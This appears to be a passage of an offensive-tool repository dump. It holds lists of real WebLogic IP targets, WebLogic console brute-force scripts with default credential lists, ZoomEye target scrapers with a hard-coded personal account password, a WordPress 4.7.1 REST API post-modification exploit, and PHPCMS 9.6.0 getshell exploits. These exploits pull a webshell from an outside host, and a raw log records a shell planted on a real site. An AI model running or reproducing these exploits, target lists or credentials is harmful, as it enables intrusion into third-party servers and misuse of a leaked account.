758 | 185.161.112.103:7001 759 | 185.120.239.79:7001 760 | 185.126.8.19:7001 761 | 185.126.8.74:7001 762 | 185.42.225.84:7001 763 | 185.46.108.43:7001 764 | 185.23.28.15:7001 765 | 185.136.101.43:7001 766 | 185.142.235.241:7001 767 | 185.161.112.242:7001 768 | 185.161.112.103:7001 769 | 185.120.239.79:7001 770 | 185.126.8.19:7001 771 | 185.126.8.74:7001 772 | 185.42.225.84:7001 773 | 185.46.108.43:7001 774 | 185.23.28.15:7001 775 | 185.136.101.43:7001 776 | 185.142.235.241:7001 777 | 185.161.112.242:7001 778 | 185.161.112.103:7001 779 | 185.120.239.79:7001 780 | 185.126.8.19:7001 781 | 185.126.8.74:7001 782 | 185.42.225.84:7001 783 | 185.46.108.43:7001 784 | 185.23.28.15:7001 785 | 185.136.101.43:7001 786 | 185.142.235.241:7001 787 | 185.161.112.242:7001 788 | 185.161.112.103:7001 789 | 185.120.239.79:7001 790 | 185.126.8.19:7001 791 | 185.126.8.74:7001 792 | 185.42.225.84:7001 793 | 185.46.108.43:7001 794 | 185.23.28.15:7001 795 | 185.136.101.43:7001 796 | 185.142.235.241:7001 797 | 185.161.112.242:7001 798 | 185.161.112.103:7001 799 | 185.120.239.79:7001 800 | 185.126.8.19:7001 801 | 185.126.8.74:7001 802 | 185.42.225.84:7001 803 | 185.46.108.43:7001 804 | 185.23.28.15:7001 805 | 185.136.101.43:7001 806 | 185.142.235.241:7001 807 | 185.161.112.242:7001 808 | 185.161.112.103:7001 809 | 185.120.239.79:7001 810 | 185.126.8.19:7001 811 | 185.126.8.74:7001 812 | 185.42.225.84:7001 813 | 185.46.108.43:7001 814 | 185.23.28.15:7001 815 | 185.136.101.43:7001 816 | 185.142.235.241:7001 817 | 185.161.112.242:7001 818 | 185.161.112.103:7001 819 | 185.120.239.79:7001 820 | 185.126.8.19:7001 821 | 185.126.8.74:7001 822 | 185.42.225.84:7001 823 | 185.46.108.43:7001 824 | 185.23.28.15:7001 825 | 185.136.101.43:7001 826 | 185.142.235.241:7001 827 | 185.161.112.242:7001 828 | 185.161.112.103:7001 829 | 185.120.239.79:7001 830 | 185.126.8.19:7001 831 | 185.126.8.74:7001 832 | 185.42.225.84:7001 833 | 185.46.108.43:7001 834 | 185.23.28.15:7001 835 | 185.136.101.43:7001 836 | 185.142.235.241:7001 837 | 185.161.112.242:7001 838 | 185.161.112.103:7001 839 | 185.120.239.79:7001 840 | 185.126.8.19:7001 841 | 185.126.8.74:7001 842 | 185.42.225.84:7001 843 | 185.46.108.43:7001 844 | 185.23.28.15:7001 845 | 185.136.101.43:7001 846 | 185.142.235.241:7001 847 | 185.161.112.242:7001 848 | 185.161.112.103:7001 849 | 185.120.239.79:7001 850 | 185.126.8.19:7001 851 | 185.126.8.74:7001 852 | 185.42.225.84:7001 853 | 185.46.108.43:7001 854 | 185.23.28.15:7001 855 | 185.136.101.43:7001 856 | 185.142.235.241:7001 857 | 185.161.112.242:7001 858 | 185.161.112.103:7001 859 | 185.120.239.79:7001 860 | 185.126.8.19:7001 861 | 185.126.8.74:7001 862 | 185.42.225.84:7001 863 | 185.46.108.43:7001 864 | 185.23.28.15:7001 865 | 185.136.101.43:7001 866 | 185.142.235.241:7001 867 | 185.161.112.242:7001 868 | 185.161.112.103:7001 869 | 185.120.239.79:7001 870 | 185.126.8.19:7001 871 | 185.126.8.74:7001 872 | 185.42.225.84:7001 873 | 185.46.108.43:7001 874 | 185.23.28.15:7001 875 | 185.136.101.43:7001 876 | 185.142.235.241:7001 877 | 185.161.112.242:7001 878 | 185.161.112.103:7001 879 | 185.120.239.79:7001 880 | 185.126.8.19:7001 881 | 185.126.8.74:7001 882 | 185.42.225.84:7001 883 | 185.46.108.43:7001 884 | 185.23.28.15:7001 885 | 185.136.101.43:7001 886 | 185.142.235.241:7001 887 | 185.161.112.242:7001 888 | 185.161.112.103:7001 889 | 185.120.239.79:7001 890 | 185.126.8.19:7001 891 | 185.126.8.74:7001 892 | 185.42.225.84:7001 893 | 185.46.108.43:7001 894 | 185.23.28.15:7001 895 | 185.136.101.43:7001 896 | 185.142.235.241:7001 897 | 185.161.112.242:7001 898 | 185.161.112.103:7001 899 | 185.120.239.79:7001 900 | 185.126.8.19:7001 901 | 185.126.8.74:7001 902 | 185.42.225.84:7001 903 | 185.46.108.43:7001 904 | 185.23.28.15:7001 905 | 185.136.101.43:7001 906 | 185.142.235.241:7001 907 | 185.161.112.242:7001 908 | 185.161.112.103:7001 909 | 185.120.239.79:7001 910 | 185.126.8.19:7001 911 | 185.126.8.74:7001 912 | 185.42.225.84:7001 913 | 185.46.108.43:7001 914 | 185.23.28.15:7001 915 | 185.136.101.43:7001 916 | 185.142.235.241:7001 917 | 185.161.112.242:7001 918 | 185.161.112.103:7001 919 | 185.120.239.79:7001 920 | 185.126.8.19:7001 921 | 185.126.8.74:7001 922 | 185.42.225.84:7001 923 | 185.46.108.43:7001 924 | 185.23.28.15:7001 925 | 185.136.101.43:7001 926 | 185.142.235.241:7001 927 | 185.161.112.242:7001 928 | 185.161.112.103:7001 929 | 185.120.239.79:7001 930 | 185.126.8.19:7001 931 | 185.126.8.74:7001 932 | 185.42.225.84:7001 933 | 185.46.108.43:7001 934 | 185.23.28.15:7001 935 | 185.136.101.43:7001 936 | 185.142.235.241:7001 937 | 185.161.112.242:7001 938 | 185.161.112.103:7001 939 | 185.120.239.79:7001 940 | 185.126.8.19:7001 941 | 185.126.8.74:7001 942 | 185.42.225.84:7001 943 | 185.46.108.43:7001 944 | 185.23.28.15:7001 945 | 185.136.101.43:7001 946 | 185.142.235.241:7001 947 | 185.161.112.242:7001 948 | 185.161.112.103:7001 949 | 185.120.239.79:7001 950 | 185.126.8.19:7001 951 | 185.126.8.74:7001 952 | 185.42.225.84:7001 953 | 185.46.108.43:7001 954 | 185.23.28.15:7001 955 | 185.136.101.43:7001 956 | 185.142.235.241:7001 957 | 185.161.112.242:7001 958 | 185.161.112.103:7001 959 | 185.120.239.79:7001 960 | 185.126.8.19:7001 961 | 185.126.8.74:7001 962 | 185.42.225.84:7001 963 | 185.46.108.43:7001 964 | 185.23.28.15:7001 965 | 185.136.101.43:7001 966 | 185.142.235.241:7001 967 | 185.161.112.242:7001 968 | 185.161.112.103:7001 969 | 185.120.239.79:7001 970 | 185.126.8.19:7001 971 | 185.126.8.74:7001 972 | 185.42.225.84:7001 973 | 185.46.108.43:7001 974 | 185.23.28.15:7001 975 | 185.136.101.43:7001 976 | 185.142.235.241:7001 977 | 185.161.112.242:7001 978 | 185.161.112.103:7001 979 | 185.120.239.79:7001 980 | 185.126.8.19:7001 981 | 185.126.8.74:7001 982 | 185.42.225.84:7001 983 | 185.46.108.43:7001 984 | 185.23.28.15:7001 985 | 185.136.101.43:7001 986 | 185.142.235.241:7001 987 | 185.161.112.242:7001 988 | 185.161.112.103:7001 989 | 185.120.239.79:7001 990 | 185.126.8.19:7001 991 | 185.126.8.74:7001 992 | 185.42.225.84:7001 993 | 185.46.108.43:7001 994 | 185.23.28.15:7001 995 | 185.136.101.43:7001 996 | 185.142.235.241:7001 997 | 185.161.112.242:7001 998 | 185.161.112.103:7001 999 | 185.120.239.79:7001 1000 | 185.126.8.19:7001 1001 | -------------------------------------------------------------------------------- /Weblogic爆破/weblogic.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | 3 | import socket 4 | import random 5 | import urllib 6 | import urllib2 7 | import cookielib 8 | 9 | 10 | agent_pool = [ 11 | 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0', 12 | 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11', 13 | 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)', 14 | 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 SE 2.X MetaSr 1.0', 15 | 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5', 16 | 'Mozilla/5.0 (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1', 17 | 'Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999 ', 18 | 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2 ', 19 | ] 20 | 21 | 22 | def send(item) : 23 | 24 | cj = cookielib.LWPCookieJar() 25 | cookie_support = urllib2.HTTPCookieProcessor(cj) 26 | opener = urllib2.build_opener(cookie_support,urllib2.HTTPHandler) 27 | urllib2.install_opener(opener) 28 | 29 | '''pool = open('brute.txt') 30 | for item in pool : 31 | item = item.split()''' 32 | 33 | ips = open('ip.txt') 34 | for ip in ips : 35 | ip = 'http://' + ip.strip('\n') 36 | path = ip + '/console/j_security_check' 37 | 38 | username = item[0] 39 | password = item[1] 40 | data = { 41 | 'j_username' : username, 42 | 'j_password' : password, 43 | 'j_character_encoding' : 'UTF-8' 44 | } 45 | 46 | i = random.randint(0,7) 47 | agent = agent_pool[i] 48 | header = { 49 | 'User-Agent' : agent, 50 | 'Referer' : ip + '/console/login/LoginForm.jsp' 51 | } 52 | 53 | data = urllib.urlencode(data) 54 | request = urllib2.Request(path,data,header) 55 | try : 56 | response = urllib2.urlopen(request) 57 | text = str(response.read()) 58 | 59 | if 'Log Out' in text : 60 | print ip + u'登陆成功 ' + u' 用户名:' + username + u' 密码:' + password 61 | except : 62 | pass 63 | 64 | 65 | def start() : 66 | 67 | pool = open('brute.txt') 68 | for item in pool : 69 | item = item.split() 70 | send(item) 71 | 72 | '''ips = open('ip.txt') 73 | for ip in ips : 74 | ip = 'http://' + ip.strip('\n') 75 | send(ip)''' 76 | 77 | 78 | def main() : 79 | 80 | start() 81 | 82 | 83 | if __name__ == '__main__' : 84 | main() 85 | -------------------------------------------------------------------------------- /Weblogic爆破/weblogic2.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | 3 | import asyncio 4 | import socket 5 | import random 6 | import urllib 7 | import http.cookiejar 8 | 9 | agent_pool = [ 10 | 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0', 11 | 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11', 12 | 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)', 13 | 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 SE 2.X MetaSr 1.0', 14 | 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5', 15 | 'Mozilla/5.0 (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1', 16 | 'Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999 ', 17 | 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2 ', 18 | ] 19 | 20 | pool = [ 21 | 'system password', 22 | 'system security', 23 | 'system 123456', 24 | 'weblogic weblogic', 25 | 'weblogic oracle', 26 | 'weblogic 123456', 27 | 'admin security', 28 | 'admin 123456', 29 | 'wlcsystem wlcsystem', 30 | 'wlpisystem wlpisystem' 31 | ] 32 | 33 | 34 | @asyncio.coroutine 35 | def send(ip): 36 | 37 | cookie = http.cookiejar.MozillaCookieJar() 38 | handler = urllib.request.HTTPCookieProcessor(cookie) 39 | opener = urllib.request.build_opener(handler) 40 | path = 'http://' + ip + '/console/login/LoginForm.jsp' 41 | try : 42 | request = urllib.request.Request(path) 43 | response = opener.open(request) 44 | except : 45 | pass 46 | 47 | for item in pool : 48 | item = item.split() 49 | username = item[0] 50 | password = item[1] 51 | pdata = { 52 | 'j_username': username, 53 | 'j_password': password, 54 | 'j_character_encoding': 'UTF-8' 55 | } 56 | 57 | i = random.randint(0, 7) 58 | agent = agent_pool[i] 59 | header = { 60 | 'User-Agent': agent, 61 | 'Referer': ip + '/console/login/LoginForm.jsp' 62 | } 63 | 64 | path = 'http://' + ip + '/console/j_security_check' 65 | 66 | pdata = urllib.parse.urlencode(pdata).encode() 67 | request = urllib.request.Request(path,pdata,header) 68 | try: 69 | response = opener.open(request) 70 | text = str(response.read()) 71 | 72 | if 'Log Out' in text: 73 | print(ip + u'登陆成功 ' + u' 用户名:' + username + u' 密码:' + password) 74 | except: 75 | pass 76 | 77 | 78 | def start() : 79 | 80 | ips = open('ip.txt') 81 | tasks = [send(ip.strip('\n')) for ip in ips] 82 | loop = asyncio.get_event_loop() 83 | loop.run_until_complete(asyncio.wait(tasks)) 84 | loop.close() 85 | 86 | 87 | def main() : 88 | 89 | start() 90 | 91 | 92 | if __name__ == '__main__' : 93 | 94 | main() 95 | -------------------------------------------------------------------------------- /Weblogic爆破/zoomeye.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | 3 | import os 4 | import sys 5 | import requests 6 | import json 7 | import time 8 | page = 1 9 | # ZoomEye' Info (Person) 10 | # 输入个人账号密码 11 | user = '979784643@qq.com' 12 | passwd = 'FKP19960317' 13 | 14 | def Check(): 15 | #POST get access_token 16 | data_info = {'username' : user,'password' : passwd} 17 | 18 | #dumps() -> python'object cast the type of json 19 | data_encoded = json.dumps(data_info) 20 | 21 | #POST 22 | respond = requests.post(url = 'https://api.zoomeye.org/user/login',data = data_encoded) 23 | 24 | try: 25 | # loads() -> json cast python'object 26 | r_decoded = json.loads(respond.text) 27 | 28 | #get access_token 29 | access_token = r_decoded['access_token'] 30 | except KeyError: 31 | return 'ErrorInfo' 32 | 33 | return access_token 34 | 35 | 36 | # 查询语法 37 | def search(): 38 | num = 1 39 | global kindDev 40 | kindDev = num 41 | search = '' 42 | search = 'app:weblogic port:7001' 43 | global query 44 | 45 | query = 'page=' + str(page) + '&' + 'query=' + search 46 | 47 | # 获取Respose对象 48 | def getRespose(): 49 | # get request'header 50 | headers = {'Authorization' : 'JWT ' + access_token} 51 | 52 | # format token and add to HTTP Header 53 | respond = requests.get(url = 'https://api.zoomeye.org/host/search?' + query,headers = headers) 54 | if respond.status_code == 401: 55 | print('需要授权登陆\n') 56 | sys.exit() 57 | return respond 58 | 59 | def getIp(): 60 | result = json.loads(getRespose().text) 61 | output = open('ip.txt','a+') 62 | for i in range(0,10): 63 | #print(str(result['matches'][i]['ip']) + ':' + str(result['matches'][i]['portinfo']['port'])) 64 | output.write(str(result['matches'][i]['ip']) + ':' + str(result['matches'][i]['portinfo']['port']) + '\n') 65 | output.close() 66 | 67 | def ZoomEye(): 68 | # get access_token from Check() 69 | global access_token 70 | access_token = Check() 71 | if 'ErrorInfo' == access_token: 72 | print('请正确输入用户名和密码,以便获取access_token') 73 | sys.exit() 74 | #print(access_token) 75 | # 查询语法 76 | search(); 77 | 78 | # 搜索设备 79 | if kindDev: 80 | page = 100 81 | while True: 82 | getIp() 83 | time.sleep(0.5) 84 | page = page - 1 85 | if page == 0: 86 | sys.exit() 87 | 88 | 89 | # 搜索网站 90 | elif kindDev: 91 | print('网站 :\n') 92 | 93 | #for i in range(0,10): 94 | # print(str(result['matches'][i]['ip']) + ':' + str(result['matches'][i]['portinfo']['port'])) 95 | 96 | if __name__ == '__main__': 97 | ZoomEye() 98 | -------------------------------------------------------------------------------- /WordPress_4.7.1漏洞/REST_API.py: -------------------------------------------------------------------------------- 1 | #coding=UTF-8 2 | 3 | import json 4 | import sys 5 | import urllib2 6 | 7 | from lxml import etree 8 | 9 | 10 | def get_api_url(wordpress_url): #检测和修改用户输入的URL 11 | response = urllib2.urlopen(wordpress_url) 12 | 13 | data = etree.HTML(response.read()) 14 | u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0] 15 | 16 | #查看是否有permalinks插件 17 | if 'rest_route' in u: 18 | print(' ! Warning, looks like permalinks are not enabled. This might not work!') 19 | 20 | return u 21 | 22 | 23 | def get_posts(api_base): #获取指定URL上的所有posts(wordpress文章) 24 | respone = urllib2.urlopen(api_base + 'wp/v2/posts') #url = '*/wp-json/wp/v2/posts' 25 | posts = json.loads(respone.read()) #以json格式分析返回数据 26 | 27 | for post in posts: #遍历显示每一条wordpress文章的id,title,renderd,link 28 | print(' - Post ID: {0}, Title: {1}, Url: {2}'.format(post['id'], post['title']['rendered'], post['link'])) 29 | 30 | 31 | def update_post(api_base, post_id, post_content): 32 | # more than just the content field can be updated. see the api docs here: 33 | # https://developer.wordpress.org/rest-api/reference/posts/#update-a-post 34 | data = json.dumps({ #data为json格式的content里的内容 35 | 'content': post_content 36 | }) 37 | 38 | #此处构造恶意url,漏洞点为id={post_id}abc,加入abc可以绕过修改文章的权限 39 | url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id) 40 | 41 | content_type = 'application/json' 42 | user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' 43 | headers = { 'Content-Type' : content_type, 44 | 'User-Agent': user_agent} 45 | 46 | req = urllib2.Request(url, data, headers) 47 | response = urllib2.urlopen(req).read() 48 | 49 | print('* Post updated. Check it out at {0}'.format(json.loads(response)['link'])) 50 | 51 | 52 | def print_usage(): #打印exp用法 53 | print('Usage: {0} (optional: )'.format(__file__)) 54 | 55 | 56 | if __name__ == '__main__': 57 | 58 | #检查至少有参数URL 59 | if len(sys.argv) < 2: 60 | print_usage() 61 | sys.exit(1) 62 | 63 | #若用户提供了id,那么就必须提供content 64 | if 2 < len(sys.argv) < 4: 65 | print('Please provide a file with post content with a post id') 66 | print_usage() 67 | sys.exit(1) 68 | 69 | print('* Discovering API Endpoint') 70 | api_url = get_api_url(sys.argv[1]) #检查URL,并加上路径/wp-json/ 71 | print('* API lives at: {0}'.format(api_url)) 72 | 73 | #若用户只输入了URL,则获取所有可用的posts(wordpress文章) 74 | if len(sys.argv) < 3: 75 | print('* Getting available posts') 76 | get_posts(api_url) 77 | 78 | sys.exit(0) 79 | 80 | # if we get here, we have what we need to update a post! 81 | print('* Updating post {0}'.format(sys.argv[2])) 82 | with open(sys.argv[3], 'r') as content: #读取content文件 83 | new_content = content.readlines() 84 | 85 | update_post(api_url, sys.argv[2], ''.join(new_content)) 86 | 87 | print('* Update complete!') 88 | -------------------------------------------------------------------------------- /WordPress_4.7.1漏洞/content: -------------------------------------------------------------------------------- 1 | foo -------------------------------------------------------------------------------- /Zoomeye/ip.txt: -------------------------------------------------------------------------------- 1 | 73.7.188.24:7001 2 | 73.15.234.242:7001 3 | 203.254.220.92:7001 4 | 203.59.220.116:7001 5 | 203.211.133.57:7001 6 | 203.230.208.18:7001 7 | 203.122.35.116:7001 8 | 203.233.22.70:7001 9 | 203.188.246.141:7001 10 | 203.199.61.234:7001 11 | 73.7.188.24:7001 12 | 73.15.234.242:7001 13 | 203.254.220.92:7001 14 | 203.59.220.116:7001 15 | 203.211.133.57:7001 16 | 203.230.208.18:7001 17 | 203.122.35.116:7001 18 | 203.233.22.70:7001 19 | 203.188.246.141:7001 20 | 203.199.61.234:7001 21 | 73.7.188.24:7001 22 | 73.15.234.242:7001 23 | 203.254.220.92:7001 24 | 203.59.220.116:7001 25 | 203.211.133.57:7001 26 | 203.230.208.18:7001 27 | 203.122.35.116:7001 28 | 203.233.22.70:7001 29 | 203.188.246.141:7001 30 | 203.199.61.234:7001 31 | 73.7.188.24:7001 32 | 73.15.234.242:7001 33 | 203.254.220.92:7001 34 | 203.59.220.116:7001 35 | 203.211.133.57:7001 36 | 203.230.208.18:7001 37 | 203.122.35.116:7001 38 | 203.233.22.70:7001 39 | 203.188.246.141:7001 40 | 203.199.61.234:7001 41 | 73.7.188.24:7001 42 | 73.15.234.242:7001 43 | 203.254.220.92:7001 44 | 203.59.220.116:7001 45 | 203.211.133.57:7001 46 | 203.230.208.18:7001 47 | 203.122.35.116:7001 48 | 203.233.22.70:7001 49 | 203.188.246.141:7001 50 | 203.199.61.234:7001 51 | 73.7.188.24:7001 52 | 73.15.234.242:7001 53 | 203.254.220.92:7001 54 | 203.59.220.116:7001 55 | 203.211.133.57:7001 56 | 203.230.208.18:7001 57 | 203.122.35.116:7001 58 | 203.233.22.70:7001 59 | 203.188.246.141:7001 60 | 203.199.61.234:7001 61 | 73.7.188.24:7001 62 | 73.15.234.242:7001 63 | 203.254.220.92:7001 64 | 203.59.220.116:7001 65 | 203.211.133.57:7001 66 | 203.230.208.18:7001 67 | 203.122.35.116:7001 68 | 203.233.22.70:7001 69 | 203.188.246.141:7001 70 | 203.199.61.234:7001 71 | 73.7.188.24:7001 72 | 73.15.234.242:7001 73 | 203.254.220.92:7001 74 | 203.59.220.116:7001 75 | 203.211.133.57:7001 76 | 203.230.208.18:7001 77 | 203.122.35.116:7001 78 | 203.233.22.70:7001 79 | 203.188.246.141:7001 80 | 203.199.61.234:7001 81 | 73.7.188.24:7001 82 | 73.15.234.242:7001 83 | 203.254.220.92:7001 84 | 203.59.220.116:7001 85 | 203.211.133.57:7001 86 | 203.230.208.18:7001 87 | 203.122.35.116:7001 88 | 203.233.22.70:7001 89 | 203.188.246.141:7001 90 | 203.199.61.234:7001 91 | 73.7.188.24:7001 92 | 73.15.234.242:7001 93 | 203.254.220.92:7001 94 | 203.59.220.116:7001 95 | 203.211.133.57:7001 96 | 203.230.208.18:7001 97 | 203.122.35.116:7001 98 | 203.233.22.70:7001 99 | 203.188.246.141:7001 100 | 203.199.61.234:7001 101 | -------------------------------------------------------------------------------- /Zoomeye/zoomeye.py: -------------------------------------------------------------------------------- 1 | #encoding=utf-8 2 | 3 | import os 4 | import sys 5 | import requests 6 | import json 7 | import time 8 | page = 1 9 | # ZoomEye' Info (Person) 10 | # 输入个人账号密码 11 | user = '979784643@qq.com' 12 | passwd = 'FKP19960317' 13 | 14 | def Check(): 15 | #POST get access_token 16 | data_info = {'username' : user,'password' : passwd} 17 | 18 | #dumps() -> python'object cast the type of json 19 | data_encoded = json.dumps(data_info) 20 | 21 | #POST 22 | respond = requests.post(url = 'https://api.zoomeye.org/user/login',data = data_encoded) 23 | 24 | try: 25 | # loads() -> json cast python'object 26 | r_decoded = json.loads(respond.text) 27 | 28 | #get access_token 29 | access_token = r_decoded['access_token'] 30 | except KeyError: 31 | return 'ErrorInfo' 32 | 33 | return access_token 34 | 35 | 36 | # 查询语法 37 | def search(): 38 | num = input('请选择要搜索的类型:1-> 设备 2-> 网站\n') 39 | global kindDev 40 | kindDev = num 41 | search = '' 42 | search = input('请输入要查询的语法(带引号) :\n') 43 | global query 44 | 45 | query = 'page=' + str(page) + '&' + 'query=' + search 46 | 47 | # 获取Respose对象 48 | def getRespose(): 49 | # get request'header 50 | headers = {'Authorization' : 'JWT ' + access_token} 51 | 52 | # format token and add to HTTP Header 53 | respond = requests.get(url = 'https://api.zoomeye.org/host/search?' + query,headers = headers) 54 | #print(respond) 55 | if respond.status_code == 401: 56 | print('需要授权登陆\n') 57 | sys.exit() 58 | return respond 59 | 60 | def getIp(): 61 | result = json.loads(getRespose().text) 62 | output = open('ip.txt','a+') 63 | for i in range(0,10): 64 | print(str(result['matches'][i]['ip']) + ':' + str(result['matches'][i]['portinfo']['port'])) 65 | output.write(str(result['matches'][i]['ip']) + ':' + str(result['matches'][i]['portinfo']['port']) + '\n') 66 | output.close() 67 | 68 | def ZoomEye(): 69 | # get access_token from Check() 70 | global access_token 71 | access_token = Check() 72 | if 'ErrorInfo' == access_token: 73 | print('请正确输入用户名和密码,以便获取access_token') 74 | sys.exit() 75 | #print(access_token) 76 | # 查询语法 77 | search(); 78 | 79 | # 搜索设备 80 | if kindDev: 81 | page = int(input('请输入搜索页数:\n')) 82 | while True: 83 | getIp() 84 | time.sleep(0.5) 85 | page = page - 1 86 | if page == 0: 87 | sys.exit() 88 | 89 | 90 | # 搜索网站 91 | elif kindDev: 92 | print('网站 :\n') 93 | 94 | #for i in range(0,10): 95 | # print(str(result['matches'][i]['ip']) + ':' + str(result['matches'][i]['portinfo']['port'])) 96 | 97 | if __name__ == '__main__': 98 | ZoomEye() 99 | -------------------------------------------------------------------------------- /phpcms_9.6.0漏洞/phpcms9.6.0.txt: -------------------------------------------------------------------------------- 1 | POST /index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1 2 | Host: bjssbt.com 3 | Connection: keep-alive 4 | Accept-Encoding: gzip, deflate 5 | Accept: */* 6 | User-Agent: python-requests/2.13.0 7 | Content-Length: 197 8 | Content-Type: application/x-www-form-urlencoded 9 | 10 | username=akkuman_m&info%5Bcontent%5D=%3Cimg+src%3Dhttp%3A%2F%2Ffile.codecat.one%2FnormalOneWord.txt%3F.php%23.jpg%3E&dosubmit=1&siteid=1&protocol=&password=123456&email=akkuman_m%40qq.com&modelid=1HTTP/1.1 200 OK 11 | 12 | Cache-Control: private 13 | Pragma: no-cache 14 | Content-Type: text/html; charset=utf-8 15 | Expires: Thu, 19 Nov 1981 08:52:00 GMT 16 | Server: WWW Server/1.1 17 | X-Powered-By: PHP/5.2.17 18 | Set-Cookie: PHPSESSID=0sf4fcil5jnhk20q3t26f4q327; path=/ 19 | X-Powered-By: ASP.NET 20 | Set-Cookie: ASPSESSIONIDAZBYCXDW=11E871EABD4EBBAFD75A7520; expires=Thu, 31-Dec-2037 10:18:18 GMT; max-age=2147483647; path=/; 21 | X-Safe-Firewall: zhuji.360.cn 1.0.9.47 F1W1 22 | Date: Wed, 12 Apr 2017 03:11:42 GMT 23 | Connection: close 24 | 25 |
26 | 27 | MySQL Query : 28 | INSERT INTO `shengshibenteng`.`v9_member_detail`(`content`,`userid`) VALUES 29 | ('<img src=http://www.bjssbt.com/uploadfile/2017/0412/20170412111141522.php>','17') 30 |
31 | MySQL Error : 32 | Unknown column 'content' in 'field list' 33 |
34 | MySQL Errno : 35 | 1054 36 |
Message : 37 | Unknown column 'content' in 'field list' 38 |
39 | Need Help? 41 |
42 |
-------------------------------------------------------------------------------- /phpcms_9.6.0漏洞/phpcms9.6.0GetShell_v0.1.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | ''' 4 | ---------------------- 5 | Author : Akkuman 6 | Blog : hacktech.cn 7 | ---------------------- 8 | ''' 9 | 10 | import requests 11 | import sys 12 | from random import Random 13 | 14 | chars = 'qwertyuiopasdfghjklzxcvbnm0123456789' 15 | 16 | def main(): 17 | host = raw_input('URL : ') 18 | url = host + "/index.php?m=member&c=index&a=register&siteid=1" 19 | 20 | data = { 21 | "siteid": "1", 22 | "modelid": "1", 23 | "username": "dsakkfaffdssdudi", 24 | "password": "123456", 25 | "email": "dsakkfddsjdi@qq.com", 26 | # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0 27 | #"info[content]": "", #密码023 28 | "info[content]": "", #密码akkuman 29 | "dosubmit": "1", 30 | "protocol": "", 31 | } 32 | try: 33 | rand_name = chars[Random().randint(0, len(chars) - 1)] 34 | data["username"] = "akkuman_%s" % rand_name 35 | data["email"] = "akkuman_%s@qq.com" % rand_name 36 | 37 | htmlContent = requests.post(url, data=data) 38 | 39 | successUrl = "" 40 | if "MySQL Error" in htmlContent.text and "http" in htmlContent.text: 41 | successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php" 42 | print("[*]Shell : %s" % successUrl) 43 | if successUrl == "": 44 | print("[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n") 45 | 46 | except: 47 | print("Request Error") 48 | 49 | 50 | if __name__ == '__main__': 51 | main() 52 | -------------------------------------------------------------------------------- /phpcms_9.6.0漏洞/phpcms9.6.0GetShell_v0.2(批量).py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | ''' 4 | ---------------------- 5 | Author : Akkuman 6 | Blog : hacktech.cn 7 | ---------------------- 8 | ''' 9 | 10 | import requests 11 | from bs4 import BeautifulSoup 12 | # from urlparse import unquote //Python2 13 | # from urlparse import urlparse //Python2 14 | from urllib.parse import quote 15 | from urllib.parse import urlparse 16 | from random import Random 17 | 18 | chars = 'qwertyuiopasdfghjklzxcvbnm0123456789' 19 | 20 | headers = { 21 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0" 22 | } 23 | 24 | def parseBaidu(keyword, pagenum): 25 | keywordsBaseURL = 'https://www.baidu.com/s?wd=' + str(quote(keyword)) + '&oq=' + str(quote(keyword)) + '&ie=utf-8' + '&pn=' 26 | pnum = 0 27 | while pnum <= int(pagenum): 28 | baseURL = keywordsBaseURL + str(pnum*10) 29 | try: 30 | request = requests.get(baseURL, headers=headers) 31 | soup = BeautifulSoup(request.text, "html.parser") 32 | for a in soup.select('div.c-container > h3 > a'): 33 | url = requests.get(a['href'], headers=headers).url 34 | yield url 35 | except: 36 | yield None 37 | finally: 38 | pnum += 1 39 | 40 | 41 | def saveShell(shellUrl): 42 | with open("webShell.txt","a+") as f: 43 | f.write("[*]%s\n" % shellUrl) 44 | 45 | def main(): 46 | data = { 47 